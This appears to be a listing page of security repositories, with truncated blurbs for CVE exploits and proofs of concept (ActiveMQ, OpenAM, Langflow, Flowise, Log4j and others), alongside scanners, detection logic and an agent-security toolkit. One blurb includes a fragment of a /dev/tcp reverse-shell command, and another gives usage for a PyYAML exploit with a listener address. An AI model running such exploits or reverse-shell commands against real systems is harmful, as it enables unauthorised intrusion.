CVE-2026-34197

CVE-2026-34197 - Apache ActiveMQ RCE via Jolokia 1. Overview Item| Details ---|--- CVE ID| CVE-2026-34197 CVSS| 8.8 HIGH Vulnerability Type| Remote Code Execution RCE CWE| CWE-20 Improper Input Validation / CWE-94 Code Injection Affected Component| Apache ActiveMQ Classic - Jolokia JMX-HTTP Bridg...

CVE-2022-22947

Vulnerability Description Spring Cloud Gateway is a new project under Spring Cloud, aiming to replace Netflix Zuul. It is developed based on Spring 5.0+, Spring Boot 2.0+, and WebFlux based on the high-performance Reactor pattern reactive communication framework Netty, asynchronous non-blocking...

CVE-2026-5029-Exploit

🔥 CVE-2026-5029 — Code Runner MCP Server RCE Unauthenticated Remote Code Execution via the run-code MCP Tool Proof of Concept exploit for CVE-2026-5029 — a critical unauthenticated Remote Code Execution vulnerability in Code Runner MCP Server, triggered via therun-code MCP tool when the server is...

external_expact_AOSP10_r33_CVE-2022-25313

Expat, Release 2.2.6 This is Expat, a C library for parsing XML, started by James Clark in 1997. Expat is a stream-oriented XML parser. This means that you register handlers with the parser before starting the parse. These handlers are called when the parser discovers the associated structures in...

log4j

CVE-2021-44228 a.k.a. LOG4J This is a public repository from Wortell containing information, links, files and other items related to vulnerabilities related to Log4j Due to vulnerabilities in log4j 2.17.0 it is now recommended to patch to version 2.17.1 Knows CVEs CVE| Score| Description...

CVE-2022-21500

Badges License MIT Installation 1. Install Python3 and pip Instructions Here If you can't figure this out, you shouldn't really be using this Install via pip pip install CVE-2022-21500 Run bellow command to check CVE-2022-21500 -h Configurations 2. We integrated with the Telegram API to receive...

CVE-2023-38831

Detection Logic for CVE-2023-38831 WinRAR Exploit This repository contains a detection logic for CVE-2023-38831 WinRAR ZIP file spoofing / double-extension exploit with raw queries / code blocks and ETW-specific provider names + Event IDs. A vulnerable version of WinRAR 6.23 on the target system...

CVE-2026-33439-PoC

CVE-2026-33439 — OpenAM Pre-Auth RCE Pre-authentication Remote Code Execution in OpenIdentityPlatform OpenAM = 16.0.5 via unsafe Java deserialization of the jato.clientSession parameter CVSS 9.8. For authorized security testing only. Quick Start 1. Build payload downloads JARs from Maven Central ...

CVE-2026-33017-langflow-rce

CVE-2026-33017 - Langflow Unauthenticated Remote Code Execution RCE Overview CVE ID: CVE-2026-33017 Affected Software: Langflow Vulnerable Versions: = 1.9.0 Severity: Critical Author: arensballiu Date: 2026 Description Langflow exposes a public flow build endpoint /api/v1/buildpublictmp/flowID/fl...

hpim-training-lab

hpim-training-lab HPIM Training-Case Replication Lab Citable release Zenodo: DOI 10.5281/zenodo.22868247 — license CC-BY 4.0. This repository contains a fully containerized replication of the training scenario described in OpenAI's official technical report on the Hugging Face incident, used to...

Flowise-RCE-CVE-2025-59528

CVE-2025-59528 - Flowise AI Authenticated Remote Code Execution RCE Overview CVE ID: CVE-2025-59528 Affected Software: Flowise AI Vulnerable Versions: = 3.0.4 Fixed Version: 3.0.5 and later Severity: Critical Author: arensballiu Date: 2025 Description Flowise AI versions up to and including 3.0.4...

discord-crasher

Media parser test-case generator media-gen is a small, dependency-light Rust command-line tool for building two media-parser test cases. It edits existing valid media files in place; it does not invoke FFmpeg, patch a browser, contact a server, or upload anything. The WebM case includes a bridge...

CVE-2023-20198

CVE-2023-20198 Exploit PoC for CVE-2023-20198 Description CVE-2023-20198 is characterized by improper path validation to bypass Nginx filtering to reach the webuiwsmahttp web endpoint without requiring authentication. By bypassing authentication to the endpoint, an attacker can execute arbitrary...

CVE-2018-14324-Exploit

Hacking Eclipse GlassFish - CVE-2018-14324 The description of CVE-2018-14324 does not fully explain the impact of this vulnerability. TLDR you have access to Java Management Extensions JMX via hardcoded admin:admin creds. While impact is listed as " potentially sensitive information, perform...

CVE-2020-14343-PyYAML

CVE-2020-14343 PyYAML Deserialization Vulnerability POC Vulnerability Overview Item| Information ---|--- CVE ID| CVE-2020-14343 Affected Component| PyYAML Example: python poc.py http://vulnerable-site.com 192.168.1.100 4444 Attack Flow 1. The script starts a TCP listener locally 2. Uploads...

CVE-2021-3493

CVE-2021-3493 — Ubuntu OverlayFS Local Privilege Escalation A working proof-of-concept for CVE-2021-3493 , a local privilege escalation vulnerability in the Ubuntu kernel's OverlayFS implementation. An unprivileged user can mount an overlay filesystem inside a user namespace and set arbitrary fil...

CVE-2026-33439-Poc

CVE-2026-33439 Pre-auth RCE in OpenIdentityPlatform OpenAM via unsafe Java deserialization of the jato.clientSession parameter. Affected & /dev/tcp/HOST/PORT 0&1' Output is blind. The request blocks until the command exits, so timing confirms execution --command 'sleep 5' takes about 5s. For...

PY-Log4j-RCE-Scanner

Log4j RCE Scanner Using this tool, you can scan for remote command execution vulnerability CVE-2021-44228 on Apache Log4j at multiple addresses. Features: It can scan according to the url list you provide. It can scan all of them by finding the subdomains of the domain name you give. It adds the...

CVE-2024-40110

Poultry Farm Management System v1.0 - RCE Exploit Vulnerability Type Unauthenticated File Upload with Remote Code Execution Description The Poultry Farm Management System v1.0 contains a critical vulnerability in the product upload functionality. The application fails to properly validate and...

ClawGuard

ClawGuard 🛡️ 中文版 Our Project:https://github.com/SafeAgent-Beihang/clawguard ClawGuard is a security toolkit designed to mitigate risks associated with autonomous agents, such as OpenClaw and other LLM-driven entities. As agents gain more autonomy to execute code, access APIs, and manage files,...